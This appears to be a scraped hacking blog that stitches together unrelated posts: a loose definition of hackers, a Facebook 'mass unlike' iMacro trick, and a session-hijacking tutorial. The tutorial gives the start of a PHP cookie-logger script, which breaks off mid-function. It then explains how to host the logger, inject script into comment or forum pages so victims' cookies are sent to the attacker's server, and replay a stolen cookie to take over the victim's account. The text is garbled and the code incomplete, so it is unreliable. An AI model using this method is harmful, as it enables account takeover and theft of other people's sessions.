Let’s see the categories of Hackers on the basis on their knowledge.
Coders
**The Real Hackers are the Coders, the ones who revise the methods and create tools that are available in the market. Coders can find security holes and weaknesses in software to create their own exploits. These Hackers can use those exploits to develop fully patched and secure systems.
hi guys this is my first post i hope to present hacking A to Z 101 lets begun :)
Hacking
The Art of exploring various security breaches is termed as Hacking.
# Computer Hackers have been around for so many years. Since the Internet became widely used in the World, We
have started to hear more and more about hacking
The main reason why Hackers hack is because they can hack. Hacking is a casual hobby for some Hackers — they just hack to see what they can hack and what they can’t hack, usually by testing their own systems. Many Hackers are the guys who get kicked out of corporate and government IT and security organizations. They try to bring down the status of the organization by attacking or stealing information
What can be done to prevent Hackers from finding new holes in software and exploiting them?
Information security research teams exist—to try to find these holes and notify vendors before they are exploited. There is a beneficial competition occurring between the Hackers securing systems and the Hackers breaking into those systems. This competition provides us with better and stronger security, as well as more complex and sophisticated attack techniques.
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Hello friends to day im going to little trick to Mass Unlike facebook fan pages.this is very usefull for people who collect points from social exchange sites. ok lets get started first go to http://www.facebook.com/browse/other_connections_of/ then download imacro script and add in to your i macro folder located in documents now run and enjoy Download
Post By Sameera Madushan Dissanayaka Hi guys after long time .this time lets talk about Session Hijacking
well lets get started.
In computer science, session hijacking refers to the exploitation of a valid computer session—sometimes also called a session key—to gain unauthorized access to information or services in a computer system. In particular, it is used to refer to the theft of a magic cookie used to authenticate a user to a remote server. It has particular relevance to web developers, as the HTTP cookies used to maintain a session on many web sites can be easily stolen by an attacker using an intermediary computer or with access to the saved cookies on the victim's computer (see HTTP cookie theft).
Here we show how you can hack a session using javascript and php.
What is a cookie?
A cookie known as a web cookie or http cookie is a small piece of text stored by the user browser.A cookie is sent as an header by the web server to the web browser on the client side.A cookie is static and is sent back by the browser unchanged everytime it accesses the server.
A cookie has a expiration time that is set by the server and are deleted automatically after the expiration time.
Cookie is used to maintain users authentication and to implement shopping cart during his navigation,possibly across multiple visits.
What can we do after stealing cookie?
Well,as we know web sites authenticate their user's with a cookie,it can be used to hijack the victims session.The victims stolen cookie can be replaced with our cookie to hijack his session.
This is a cookie stealing script that steals the cookies of a user and store them in a text file, these cookied can later be utilised.
PHP Code:
<?php
function GetIP()
{
if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
$ip = getenv("HTTP_CLIENT_IP");
else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
$ip = getenv("HTTP_X_FORWARDED_FOR");
else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
$ip = getenv("REMOTE_ADDR");
else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
Save the script as a cookielogger.php on your server.
(You can get any free webhosting easily such as justfree,x10hosting etc..)
Create an empty text file log.txt in the same directory on the webserver. The hijacked/hacked cookies will be automatically stored here.
Now for the hack to work we have to inject this piece of javascript into the target's page. This can be done by adding a link in the comments page which allows users to add hyperlinks etc. But beware some sites dont allow javascript so you gotta be lucky to try this.
The best way is to look for user interactive sites which contain comments or forums.
Post the following code which invokes or activates the cookielogger on your host.
All the details like cookie,ipaddress,browser of the victim are logged in to log.txt on your hostserver
In the above codes please remove the space in between javascript.
Hijacking the Session:
Now we have cookie,what to do with this..?
Download cookie editor mozilla plugin or you may find other plugins as well.
Go to the target site-->open cookie editor-->Replace the cookie with the stolen cookie of the victim and refresh the page.Thats it!!!you should now be in his account. Download cookie editor mozilla plugin from here : https://addons.mozilla.org/en-US/firefox/addon/573
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